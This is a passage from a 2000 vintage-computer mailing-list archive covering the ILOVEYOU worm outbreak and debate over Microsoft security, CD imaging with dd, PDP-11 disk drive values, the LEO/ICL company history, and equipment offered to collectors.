________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > M. K. Peirce Rhode Island Computer Museum, Inc. 215 Shady Lea Road, North Kingstown, RI 02852 "Casta est qui nemo rogavit." - Ovid From oliv555 at arrl.net Thu May 4 20:57:01 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:52:34 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug References: <006301bfb61c$7777e970$7164c0d0@ajp166> Message-ID: <39122A6C.C3F9DE01@arrl.net> Allison, My comment was meant (kiddingly) as retort to Dave's m$ comment; no offense meant. Interestingly, my firewall has reported 3 attacks today all from differing intruders and citing the NetBus, UDP and SebSeven trojan horses. Guess this new worm has brought out the pranksters. As far as the LOVELETTER worm on my work system, I'll try the technique you described when I get back to work. Could'nt get it deleted remotely. allisonp wrote: > >Whoa...hold your fire..... while I haven't seen this particular beastie, > my > >BlackIce Defender just set off an alarm for an attack attempt with the > > The LOVELETTER worm is real, my partners site is hammered by it. > > I got a copy of it today on the shell account > and it likely can hurt me much if at all on the NTbox (you need those > virus/worm/trogan helpers like active-x). > > No a desktop system at work does not need active-x nor does it need > hotmail/instant-messenger (or chat, netmeeting to name a few more). > > Allison From CLASSICCMP at trailing-edge.com Thu May 4 20:59:28 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:34 2005 Subject: Plextor CD writers Message-ID: <000504215928.20200cb7@trailing-edge.com> >On Thu, May 04, 2000 at 11:58:29PM -0000, Eric Smith wrote: >> The problem with direct CD to CD-R copy is that the OS, device driver, >> and even the CD-ROM drive do not have any reliable way to know how many >> sectors there are on the source disc, unless they can rely on file >> system data, i.e., the ISO 9660 header. If the disc isn't 9660, you'd >> need some other way to tell. >FWIW, my Panasonic CW-7502 CD-R drive gives a correct size in response to >a SCSI "READ CAPACITY" command. Are you saying that most drives don't >support this? The drive supports it, but the OS may not. For instance, whenever I want to image a CD under Linux, I dd if=/dev/cdrom of=wherever.dsk bs=2048, and it always ends with an error after it runs past the end of the disk. (And there are errors logged to the console, too, showing that it failed trying to read the nonexistent sector numbers.) Happens with several different CD-ROM and CD-R drives, all of which *do* report actual device sizes correctly. Of course, if you bypass the stupid Linux device driver that doesn't know any better and bang on the CD directly, you may not have that problem. Or if you switch to a real OS. This is RedHat 6.0 and 6.1, with various Adaptec SCSI host adapters and the "stock" Linux drivers. Maybe you have a NCR-based host adapter and the drivers there are smart enough not to run off the end? -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From eric at brouhaha.com Thu May 4 21:16:50 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:34 2005 Subject: Plextor CD writers In-Reply-To: <20000504211633.A28089@dbit.dbit.com> (message from John Wilson on Thu, 4 May 2000 21:16:33 -0400) References: <10005042141.ZM1640@indy.dunnington.u-net.com> <200005042055.QAA01289@bg-tc-ppp476.monmouth.com> <20000504193533.A27790@dbit.dbit.com> <20000504235829.11469.qmail@brouhaha.com> <20000504211633.A28089@dbit.dbit.com> Message-ID: <20000505021650.12738.qmail@brouhaha.com> John Wilson wrote: > FWIW, my Panasonic CW-7502 CD-R drive gives a correct size in response to > a SCSI "READ CAPACITY" command. Are you saying that most drives don't > support this? No (although perhaps some might not). I'm disputing that the drive will always (or even frequently) give the correct response to the READ CAPACITY command. That command uses the TOC of the disc to make up a number that is at best only vaguely related to the actual number of blocks in the image. If you're lucky, the number will be greater than the actual number of blocks, so that if you use it to do an image copy, you'll get *at least* all of the blocks that you should. But I've seen occasional cases where the reported number was less than the actual number of blocks. From staylor at mrynet.com Thu May 4 14:43:34 2000 From: staylor at mrynet.com (S. Akmentins-Teilors) Date: Sun Feb 27 18:52:34 2005 Subject: card punch available Message-ID: <200005050243.TAA77685@mrynet.com> > I just noticed that there is a card punch machine available here in > Minneapolis if someone wants to come and get it. I didnt pay attention > to the exact model, but its one of the 'old' ones, ie, its definitely > not the one with the LED display in the keyboard. > > Anyways, if you want it you would probably have to pick it up next week before > it goes to the recycling center. And you would have to let them know > you want it, and arrange for a time to pick it up. > > -Lawrence LeMay > lemay@cs.umn.edu Hi, Lawrence, I'm originally from L.A. and relocating back here to Minneapolis to my birthplace. Your email prompted me to write and ask: Where are the good places here to search out surplus/used equipment? I'm generally in the market for DEC and HP old stuff. Any info would be greatly appreciated. Cheers, -skots -- Scott G. Akmentins-Taylor InterNet: staylor@mrynet.com MRY Systems staylor@mrynet.lv (Skots Gregorijs Akmentins-Teilors -- just call me "Skots") ----- Labak miris neka sarkans ----- From lemay at cs.umn.edu Thu May 4 22:09:08 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:34 2005 Subject: card punch available In-Reply-To: <200005050243.TAA77685@mrynet.com> from "S. Akmentins-Teilors" at "May 4, 2000 07:43:34 pm" Message-ID: <200005050309.WAA10072@caesar.cs.umn.edu> > Hi, Lawrence, > I'm originally from L.A. and relocating back here to Minneapolis to my > birthplace. Your email prompted me to write and ask: > > Where are the good places here to search out surplus/used equipment? > I'm generally in the market for DEC and HP old stuff. Any info would be > greatly appreciated. > Hmm, I'm not really the one to ask. I mainly keep my eyes open at the University of Minnesota, Minneapolis campus. John Keys would probably know, he's one of the major collectors around here. -Lawrence LeMay From ghldbrd at ccp.com Fri May 5 04:16:49 2000 From: ghldbrd at ccp.com (Gary Hildebrand) Date: Sun Feb 27 18:52:34 2005 Subject: the latest virus Message-ID: Hello, friends the pranksters strike again . . . Makes me appreciate havimg my Amiga. Gary Hildebrand From wilson at dbit.dbit.com Fri May 5 01:12:32 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:34 2005 Subject: card punch available In-Reply-To: <200005050309.WAA10072@caesar.cs.umn.edu>; from lemay@cs.umn.edu on Thu, May 04, 2000 at 10:09:08PM -0500 References: <200005050243.TAA77685@mrynet.com> <200005050309.WAA10072@caesar.cs.umn.edu> Message-ID: <20000505021232.B28837@dbit.dbit.com> On Thu, May 04, 2000 at 10:09:08PM -0500, Lawrence LeMay wrote: > > Where are the good places here to search out surplus/used equipment? > > I'm generally in the market for DEC and HP old stuff. Any info would be > > greatly appreciated. > > > > Hmm, I'm not really the one to ask. I mainly keep my eyes open at the > University of Minnesota, Minneapolis campus. _ What ever happened to Minnecomputers? I bought an RK611 from them about 15 years ago, they used to have an awesome catalog full of PDP-11 doodads, but I haven't seen an ad in ages. Long gone? John Wilson D Bit From jfoust at threedee.com Fri May 5 02:47:52 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:34 2005 Subject: Classic Computer Stuff In-Reply-To: <3.0.5.32.20000504174556.009735f0@mail.bluefeathertech.com> References: <15.35bdcb6.26433b06@aol.com> Message-ID: <4.3.0.20000505024455.01b8a340@pc> At 05:45 PM 5/4/00 -0700, Bruce Lane wrote: > Then you have my profound sympathies. I, for one, ceased to patronize Ebay >some months back for various reasons which I will not bore the listmembers >with, though I will say that the attitude of "Epay" towards its users' >privacy had a lot to do with my decision. I wouldn't be bored. > May I suggest offering your stuff here before you post it on Ebay? It may >well save you listing costs, and you'll get an audience that will actually >(in most cases that I know of) put what they're buying to active use rather >than treating it as some sort of trophy. Ah, over time, the existence of limited-attention-span trophy hunters will only increase the size of caches for collectors to discover. :-) Listing costs might only be 25 cents. - John From kevin at xpuppy.freeserve.co.uk Fri May 5 04:54:09 2000 From: kevin at xpuppy.freeserve.co.uk (Kevin Murrell) Date: Sun Feb 27 18:52:34 2005 Subject: Lyons, Elliot, GEC, ICL, et al. References: <20000505003920.2689.qmail@hotmail.com> Message-ID: <001501bfb677$e6f2f9b0$8700a8c0@xpuppy> There is an excellent book about the Leo machines by Peter J. Bird - Leo, The First Business Computer. Published by Hasler Publishing. Only published in 1994 and still available for amazon and co. Hamish Carmichael's ICL anthology, published by Laidlaw Hicks is also an very good account of the various mergers and rivalries between the UK early computer companies. Also still available. Kevin Murrell ----- Original Message ----- From: Will Jennings To: Sent: Friday, May 05, 2000 1:39 AM Subject: Lyons, Elliot, GEC, ICL, et al. > OK, for what its worth; > Lyons Brothers built the LEO because they wanted to computerize their > business, but they couldn't find anyone selling commercial machines, so they > went ahead and built their own. LEO, by the way, stands for Lyons Electronic > Office. The LEO was actually completed in early 1951, and other companies > heard about it and wanted it, so Lyons suddenly were in the computer > business. Most people don't know this, but the LEO is the first commercial > computer, it beat UNIVAC I to market by several months. Lyons Brothers, > Elliot Automation, English Electric, Marconi, ICT, and GEC are all related, > not to mention ICL. In 1969, Marconi, GEC, Elliot Automation, and English > Electric merged to form Marconi Elliot Computer Systems Ltd., which kept > selling the various dissimilar lines (there is some mention of AEI also > being a part of this). In 1970 or 71, the company became known as GEC > Computers Ltd., and some parts (I don't know what ones for sure), were > combined with ICT to form ICL. Basically, GEC Computers Ltd. was all of the > real-time systems, and ICL was all the data-processing systems. Somehow > Lyons Brothers fits into this picture also, I'm just not sure how. ICL was > first bought by an English electronics company called STC plc in 1984, then > Fujitsu bought 80% of ICL in 1990. Later Nortel bought STC and then in 1998 > Fujitsu bought the other 20% of ICL from Nortel. As a side note, Fujitsu > also owns all of Amdahl, having excercised their option to buy the rest of > the company, since as you probably know, they put up the money to start > Amdahl and as such always owned a large chunk of it. I think GEC has > subsided back into Marconi, but I'm not sure, the whole ICL and GEC story is > a huge mess really. I hope you don't mind me taking the chance to give you > more info about them than you probably wanted. BTW, I know Elliot Brothers > (later Elliot Automation) dates back to 1795, and I'm fairly sure some of > the other companies involved are that age or older. If anyone has more info > I'd like to hear it, I have info on a bunch of models of > ICL/GEC/Elliot/English Electric machines too. I'd most like to know more > about ICT... > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > From at258 at osfn.org Fri May 5 07:06:13 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:52:34 2005 Subject: the latest virus In-Reply-To: Message-ID: We ALL appreciate our Amigas. On Fri, 5 May 2000, Gary Hildebrand wrote: > Hello, friends > > the pranksters strike again . . . > > Makes me appreciate havimg my Amiga. > > Gary Hildebrand > > > M. K. Peirce Rhode Island Computer Museum, Inc. 215 Shady Lea Road, North Kingstown, RI 02852 "Casta est qui nemo rogavit." - Ovid From pechter at pechter.dyndns.org Fri May 5 07:28:57 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:34 2005 Subject: Plextor CD writers In-Reply-To: <200005042142.OAA08399@shell1.aracnet.com> from "healyzh@aracnet.com" at "May 4, 2000 02:42:43 pm" Message-ID: <200005051228.IAA02860@bg-tc-ppp991.monmouth.com> > > I believe the newest Adaptec EZ-CD can't do non-ISO or Audio stuff... > > > > I think that the Linux and Unix stuff can... > > > > Bill > > -- > > Actually Adaptec EZ-CD *PRO* can do Audio. Of course the Audio software > that they provide is total garbage. This is the first piece of software > I've ever tossed. I like Toast on my PowerMac (as well as a lot of > specialized software/hardware for handling the Audio). I've used toast to > burn ISO RedHat and NetBSD images, I've not tried OpenVMS or PDP-11 disks (I > really want to start backing up my PDP-11/73's Hard Drives to CD-R), of > course the only reason I've not tried is lack of time. > I meant non-Audio... sorry. Anyway... it's interesting to see that dd will back up my VMS CD's. Meanwhile anyone here want to see some restrictions on MS software on critical government or "secure" systems. Geez... this "Love Bug" virus has hit AT&T and Lucent and a bunch of US government sites. Luckily, my wife was using Elm on Unix dialed in from home instead of Outlook or Exchange at work so she deleted the 150 messages at noon and another 150 last night. Exchange and Outlook (and the MS Exchange server and Visual Basic) have really revolutionized mail handling into a major virus breeding ground. All because it's too hard to use FTP or the web to push Powerpoint presentations around -- they mail 44mb files as attachments. UGH. Bill (an old dinosaur who misses the net like it was in '85-6) -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From Marion.Bates at dartmouth.edu Fri May 5 08:39:04 2000 From: Marion.Bates at dartmouth.edu (Marion Bates) Date: Sun Feb 27 18:52:34 2005 Subject: paging John Ott Message-ID: <30691749@dasher.Dartmouth.EDU> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 319 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/457a31c6/attachment-0001.bin From fauradon at mn.mediaone.net Fri May 5 10:10:46 2000 From: fauradon at mn.mediaone.net (FBA) Date: Sun Feb 27 18:52:34 2005 Subject: Classic Computer Stuff Message-ID: <000f01bfb6a4$1aff3d50$3c37d986@fauradon.beckman.com> For Sale anouncements are appropriate for the list eBay auction advertisement is considered SPAM Francois From allisonp at world.std.com Fri May 5 11:34:55 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:34 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: <39122A6C.C3F9DE01@arrl.net> Message-ID: > My comment was meant (kiddingly) as retort to Dave's m$ comment; > no offense meant. Interestingly, my firewall has reported 3 attacks today > all from differing intruders and citing the NetBus, UDP and SebSeven > trojan horses. Guess this new worm has brought out the pranksters. No harm no foul. I was mostly pointing out this is a nasty one. Now we have all the copycats and opportunists. www.f-secure.com has a good page on this worm. Allison From John.Honniball at uwe.ac.uk Fri May 5 11:40:57 2000 From: John.Honniball at uwe.ac.uk (John Honniball) Date: Sun Feb 27 18:52:34 2005 Subject: What a weekend! In-Reply-To: <3.0.1.16.20000504063540.2677c75c@mailhost.intellistar.net> Message-ID: On Thu, 04 May 2000 06:35:40 -0500 Joe wrote: > These were spares. FWIW even the stuff that cames back to earth in the > capsules is very seldom available. It is usually cut apart for testing or > put in a museum somewhere. The Science Museum in London has the Apollo 10 capsule on display. Oh, and a few classic computers, too -- just to get back on-topic :-) -- John Honniball Email: John.Honniball@uwe.ac.uk University of the West of England From foxvideo at wincom.net Fri May 5 08:19:10 2000 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:52:34 2005 Subject: VCF Europe? Message-ID: <3.0.5.32.20000505091910.007b8760@mail.wincom.net> Has anyone had a progress report on happenings at the VCF Europe? Regards Charlie Fox Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Check out "The Old Walkerville Virtual Museum" at http://www.skyboom.com/foxvideo and Camcorder Kindergarten at http://www.chasfoxvideo.com From ethan_dicks at yahoo.com Fri May 5 13:01:36 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:34 2005 Subject: Apple IIc - contact original poster Message-ID: <20000505180136.19154.qmail@web615.mail.yahoo.com> Contact Bernie directly, not me. -ethan -------- From: "Bernie Jalbert" Subject: Apple IIc Date: Mon, 17 Apr 2000 20:56:55 -0400 Plese post this on the cIassiccmp list. I have available an Apple IIc computer and an Apple Scribe printer with a new ribbon. The software that goes with it includes Bank Street Writer, Bank Street Filer and a spreadsheet program. I am located in Richboro, PA (in Bucks County, north of Philadelphia). My e-mail address is bernjal@starllinx.com ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From ard at p850ug1.demon.co.uk Fri May 5 13:08:56 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:34 2005 Subject: What a weekend! In-Reply-To: from "John Honniball" at May 5, 0 05:40:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 581 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/c5d81355/attachment-0001.ksh From mikeford at socal.rr.com Fri May 5 13:39:03 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:34 2005 Subject: Abandoned Computers List In-Reply-To: <20000505180136.19154.qmail@web615.mail.yahoo.com> Message-ID: I am on another list that is for people who want to "rescue" computers for reuse, either their own use or in some fashion (sales or donation) returned to active duty. This list grew out of a vintage mac group, so it is REAL short on non mac people and the first offers we are getting are all or mostly PC related. This is an open invitation for anyone on this list that is interested to join up and help get this group going. http://www.egroups.com/group/abandonedcomputers We really need to offer nationwide contacts so that as offers come in of computers they get a timely response and somebody actually goes and picks them up. BTW I say nationwide, but mean worldwide. How I treat this list is that anything that shows up available to me, that isn't local to me, or isn't of interest to me I post to the list. The plan is that all the list members do the same, so that everything gets taken care of. The group sprouted spontaniously about a month ago, and could really use more people to help shape the focus and get things started. Future plans are ambitious, with ideas about emailing large organizations to shift them from dumping to donating. From mikeford at socal.rr.com Fri May 5 13:18:32 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:34 2005 Subject: VCF Europe? In-Reply-To: <3.0.5.32.20000505091910.007b8760@mail.wincom.net> Message-ID: > Has anyone had a progress report on happenings at the VCF Europe? Too much jaegermeister for anybody to be typing this soon. From ghldbrd at ccp.com Fri May 5 19:57:36 2000 From: ghldbrd at ccp.com (Gary Hildebrand) Date: Sun Feb 27 18:52:34 2005 Subject: [KULUA] Nightline (fwd) Message-ID: Hello group, Here's something we all knew already, but we need to educate the brainwashed masses about Microslop . . . Last sentence says it all. *** FORWARDED MESSAGE *** Original author: trp0 Written on: 05-May-00 *** Beginning of forwarded message *** Last night, Ted explored the "I Love You" crisis with three "computer virus experts". I'm a little fuzzy on who everyone was for sure, but I know one was a computer crime prosecutor, another was Thrilling(sp?) from Symantec(who totally reminds of this one stand-up comic guy...looks and acts just like the stnad-up....maybe secret alter ego), and I don't remember the other guy's functions at all. All three were going on and on about how users needed to protect themselves with better and more anti-virus software as well as putting up home firewalls! It struck me as odd that they were trying to "educate" people about how to be safe without ever mentioning the fact that nearly all of the nasty email viruses are confined to Microsoft products. I would have liked to have seen a discussion about why MS doesn't consider these things as big hole in their OS. Seems to my like a large majority of even the standard viruses live in the MS realm. Wouldn't it strike you as a little alarming if the product you are turning out is the target of so many easily constructed destructive programs because of the way your product is designed and implemented? Anyway. It was just strange that they were emphasizing that basically all the world's email systems were brought down because of this thing without even noting things such as alternatives that wouldn't have these problems....instead trying to scare the public into consuming more unecessary software to patch up a leaky operating system with third party products instead of encouraging people to get a brain and exercise their free-market will to force product improvement. *shrug* T --- This message brought to you by: trp0@falcon.cc.ukans.edu ..and the voices in his head. [Bucket of Truth] "Don't you think I know that!?!" - UCB WebAccess: http://www.magicalbox.com/~trp0 ------------------------ end transmission .... *** End of forwarded message *** From lemay at cs.umn.edu Fri May 5 14:33:47 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:34 2005 Subject: value of RK05 Message-ID: <200005051933.OAA08700@caesar.cs.umn.edu> I'm wondering of anyone knows whatthe value of an RK05 would be? I'm thinking of buying a rack full of stuff in order to get the parts i want, and then sell of the rest. As i'll be getting a pair of RK05's for free with the PDP-11/45 system I'm getting for free, if I was to get 2 more RK05's I cant see needing that many... Also, is it next to impossible to get the rx8e needed to hook the Rk05's to a PDP8/e? -Lawrence LeMay From mikeford at socal.rr.com Fri May 5 14:36:33 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:34 2005 Subject: [KULUA] Nightline (fwd) In-Reply-To: Message-ID: >It struck me as odd that they were trying to "educate" people about how to >be safe without ever mentioning the fact that nearly all of the nasty >email viruses are confined to Microsoft products. I would have liked to >have seen a discussion about why MS doesn't consider these things as big >hole in their OS. Seems to my like a large majority of even the standard Can you say Lawsuit, yes Mr. Bill thinks you can. Can you say Boycott, yes Mr. Bill knows you can. End of todays lesson. From mgregory at vantageresearch.com Fri May 5 14:43:01 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:52:34 2005 Subject: [KULUA] Nightline (fwd) Message-ID: <00bb01bfb6ca$1f7259a0$0200a8c0@marvin> -----Original Message----- From: Gary Hildebrand To: classiccmp@classiccmp.org Date: Friday, May 05, 2000 1:16 PM Subject: [KULUA] Nightline (fwd) >Hello group, > >Here's something we all knew already, but we need to educate the brainwashed >masses about Microslop . . . Last sentence says it all. > > >*** FORWARDED MESSAGE *** > Original author: trp0 > Written on: 05-May-00 >*** Beginning of forwarded message *** > > Seems to my like a large majority of even the standard >viruses live in the MS realm. Wouldn't it strike you as a little alarming >if the product you are turning out is the target of so many easily >constructed destructive programs because of the way your product is >designed and implemented? > I think the first sentence is a bit disingenuous. Microsoft is the target of the large majority of standard viruses because the majority of virus writers (and everyone else) use Microsoft products. If a platform is sufficiently popular, some loser will write viruses for it. It seems to me that some of the smug "my Macintosh/Amiga/etc wasn't bothered by this" messages I've seen are forgetting that in their heyday, the Amiga/Mac/etc. had as many viruses problems as the PC. What Microsoft should get blasted for is not fixing the gaping security holes in any VBScript-enabled program after Melissa et al. demonstrated how vulnerable they are. Ob. ClassicComp content: At least when the Great Worm of 1988 blasted the Internet, the Unix community by and large fixed the security holes in sendmail that it exposed. What the Internet community has to figure out is how to fix the TCP/IP protocols so volume-related attacks (mass e-mails, denial of service attacks) can't cripple big parts of the infrastructure. Imagine how e-commerce companies fared yesterday, when thousands of companies turned off all of their Net access, including email and browsers. If e-commerce is the future, there needs to be a more reliable Net for it to run on. Just my 2 cents. Mark From wilson at dbit.dbit.com Fri May 5 14:51:50 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:34 2005 Subject: value of RK05 In-Reply-To: <200005051933.OAA08700@caesar.cs.umn.edu>; from lemay@cs.umn.edu on Fri, May 05, 2000 at 02:33:47PM -0500 References: <200005051933.OAA08700@caesar.cs.umn.edu> Message-ID: <20000505155150.A30766@dbit.dbit.com> On Fri, May 05, 2000 at 02:33:47PM -0500, Lawrence LeMay wrote: > Also, is it next to impossible to get the rx8e needed to hook the Rk05's > to a PDP8/e? I called Compaq and asked about the RX8E/M8357, and it seems it's no longer available. Too bad, it was around $40 *really* recently... John Wilson D Bit From wilson at dbit.dbit.com Fri May 5 14:54:32 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:34 2005 Subject: What a weekend! In-Reply-To: ; from John.Honniball@uwe.ac.uk on Fri, May 05, 2000 at 05:40:57PM +0100 References: <3.0.1.16.20000504063540.2677c75c@mailhost.intellistar.net> Message-ID: <20000505155432.B30766@dbit.dbit.com> On Fri, May 05, 2000 at 05:40:57PM +0100, John Honniball wrote: > > These were spares. FWIW even the stuff that cames back to earth in the > > capsules is very seldom available. It is usually cut apart for testing or > > put in a museum somewhere. > > The Science Museum in London has the Apollo 10 capsule on > display. The one in Boston (or is it 50% in Cambridge?) MA used to have a tiny capsule of some kind (Mercury or Gemini?) but I never understood whether it was the real thing, or a mock-up. They had/have a lunar lander too but that's definitely fake. John Wilson D Bit From dylanb at sympatico.ca Fri May 5 16:32:46 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:34 2005 Subject: value of RK05 References: <200005051933.OAA08700@caesar.cs.umn.edu> Message-ID: <003901bfb6d9$745eedc0$fd83fea9@office> ----- Original Message ----- From: Lawrence LeMay To: Sent: Friday, May 05, 2000 3:33 PM Subject: value of RK05 > I'm wondering of anyone knows whatthe value of an RK05 would be? I'm thinking > of buying a rack full of stuff in order to get the parts i want, and then > sell of the rest. As i'll be getting a pair of RK05's for free with the > PDP-11/45 system I'm getting for free, if I was to get 2 more RK05's I > cant see needing that many... RK05s go for around $500 each *restored*. A restored PDP-11/45 is about $7000 to $9000 depending on config. A system is generally worth a lot more with RK05s or RX02s installed > > Also, is it next to impossible to get the rx8e needed to hook the Rk05's > to a PDP8/e? > It's RK8E, and yes, they are next to impossible to find - especially the cable. http://www.pdp8.com/ john > -Lawrence LeMay > From wilson at dbit.dbit.com Fri May 5 14:59:12 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:34 2005 Subject: [KULUA] Nightline (fwd) In-Reply-To: ; from ghldbrd@ccp.com on Fri, May 05, 2000 at 06:57:36PM -0600 References: Message-ID: <20000505155912.C30766@dbit.dbit.com> On Fri, May 05, 2000 at 06:57:36PM -0600, Gary Hildebrand wrote: > *** Beginning of forwarded message *** [...] > It struck me as odd that they were trying to "educate" people about how to > be safe without ever mentioning the fact that nearly all of the nasty > email viruses are confined to Microsoft products. One of the "news" websites (www.abcnews.com maybe?) had a nice list of "things you can do to protect yourself from email viruses", and I thought it was very interesting that "avoid M$ products!!!" wasn't on the list. It's too bad the net has turned into such an appliance. In the old days, each site often implemented their own TCP/IP stack and SMTP/FTP/etc. servers from scratch, so even if they had security flaws they weren't well-known. Returning to that might have some advantages ... I know someone who munged in a fake version banner in his wu.ftpd just so the crackers would be more likely to leave him alone, worth a shot! John Wilson D Bit From xds_sigma7 at hotmail.com Fri May 5 15:12:54 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:34 2005 Subject: Enough with the MS bashing, please Message-ID: <20000505201254.23500.qmail@hotmail.com> Is it truly necessary to fill the list with stuff like "Microsoft is awful", etc etc etc.? I don't see how that is particularly related to classic computers... Like the "Nuke Redmond" thread, which filled my mailbox with probably 100+ messages which I had no desire at all to even look at. It is really annoying to check your mail, have about 70-100 messages, and have about 80 or so be pure garbage like that. Besides, not everyone dislikes Microsoft's products. I for one, like their products a lot, I'm using Win 98SE right now, and our NT server has been running continuously for about 4 years now, no crashes at all. And I do have experience with other OS's, I also run BeOS on my machine, I also run Solaris, Netware, VMS, RT-11, OS-32, Infoshare, CP/M, MacOS, UnixWare, and HP-UX. I'd say VMS is my favorite, BeOS is up there, same with UnixWare + Win 98, with Linux, Netware, and MacOS being my all-time least favorites. I wouldn't even consider running a Linux machine unless there was money in it for me ;p Anyway, I've now added some of what I hate, going against the entire message I was saying, but anyway, how about having the list a bit more on topic? Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From allisonp at world.std.com Fri May 5 15:14:04 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:34 2005 Subject: [KULUA] Nightline (fwd) In-Reply-To: Message-ID: > Anyway. It was just strange that they were emphasizing that basically all > the world's email systems were brought down because of this thing without > even noting things such as alternatives that wouldn't have these > problems....instead trying to scare the public into consuming more > unecessary software to patch up a leaky operating system with third party > products instead of encouraging people to get a brain and exercise their > free-market will to force product improvement. Well, I agree. However I run 40+ clients and three servers inhouse and NO internet connections save for some client systems with modems. Why? Only a few people need to interact with the outside world! Further, yes we do run MS w95 even Office97 but there is some sense to the fact that the most recent version of IE is only 4.01? Why, becuse IE401 doesn't ahve all the widgets that a business doesnt need. Also if your running a business why would you users need CHAT and instant messaging ans a universal thing? People for the most part know this OS is weak in the security and outlook is not only a fat pig it's a security hole yet Netscape isn't used (or long list of other mailers). With our old well behind the leader we are more immune as a result. If you work at it Even w95 can be improved security wise. In the end the real issue is this has been widely known for over 3years and still it's a hole big enough to run a bus through. All the other OSs are also not immune, just you can get support or fix them yourself. I get the FreeBSD security notices and they have the same problem with app ports creating holes where the OS is tight. As IT people I'd say it's wise to consider that security is not an OS only responsability. Allison From allisonp at world.std.com Fri May 5 15:17:32 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:34 2005 Subject: value of RK05 In-Reply-To: <20000505155150.A30766@dbit.dbit.com> Message-ID: > I called Compaq and asked about the RX8E/M8357, and it seems it's no longer > available. Too bad, it was around $40 *really* recently... Foo, it never occured to me to try that path to get one for mine... I do hae the rx01 and maybe the rx02 manuals. I ahve to check to see if the drawing for the rx8e are in them as it has to be a trivial board. Allison From allisonp at world.std.com Fri May 5 15:19:31 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:34 2005 Subject: value of RK05 In-Reply-To: <003901bfb6d9$745eedc0$fd83fea9@office> Message-ID: > It's RK8E, and yes, they are next to impossible to find - especially the > cable. That can be made... nothing special save for the DEC version is long and shielded. A shorter one unshielded works fine. Allison From mcguire at neurotica.com Fri May 5 15:33:00 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:34 2005 Subject: [KULUA] Nightline (fwd) In-Reply-To: Re: [KULUA] Nightline (fwd) (allisonp@world.std.com) References: Message-ID: <14611.12284.274143.849392@phaduka.neurotica.com> On May 5, allisonp@world.std.com wrote: > As IT people I'd say it's wise to consider that security is not an OS only > responsability. I'm not sure I'd agree completely. I believe one of the OS' responsibilities is SYSTEM security. As I sit here hammering away on my SGI, there's absolutely nothing Netscape can do to compromise the OS or the machine, other than my little corner of it and anything I have permissions to write to. We can't say the same about Windoze. I could go on and on about this, but we're all experienced professionals here...you see the point I'm driving at. -Dave McGuire From allisonp at world.std.com Fri May 5 15:35:53 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:35 2005 Subject: [KULUA] Nightline (fwd) In-Reply-To: <20000505155912.C30766@dbit.dbit.com> Message-ID: > One of the "news" websites (www.abcnews.com maybe?) had a nice list of > "things you can do to protect yourself from email viruses", and I thought > it was very interesting that "avoid M$ products!!!" wasn't on the list. Well no MS is a workable solution but when you have to have some compatability MS can work if (and only IF) applied with some care. Think about it, who NEEDS IE5.0? Who needs instantmessaging, Chat, VBS, Active-x controls? WHY???? I run NT4.0 sp4/workstation, It's ok and security if you make the effort is good, not VMS but nothing like w9x. I even got two copies of loveletter and all I had to do in outlook express was delete it. Sure I also have auto-open disabled too, thats good sense. I use office97 at work, never install Outlook, it's fat and slow most users never use all the features. Even those of us that run or like OS know that the latest and greatest is least safe. That even applies to VMS... some of us remember VMS5.x--> 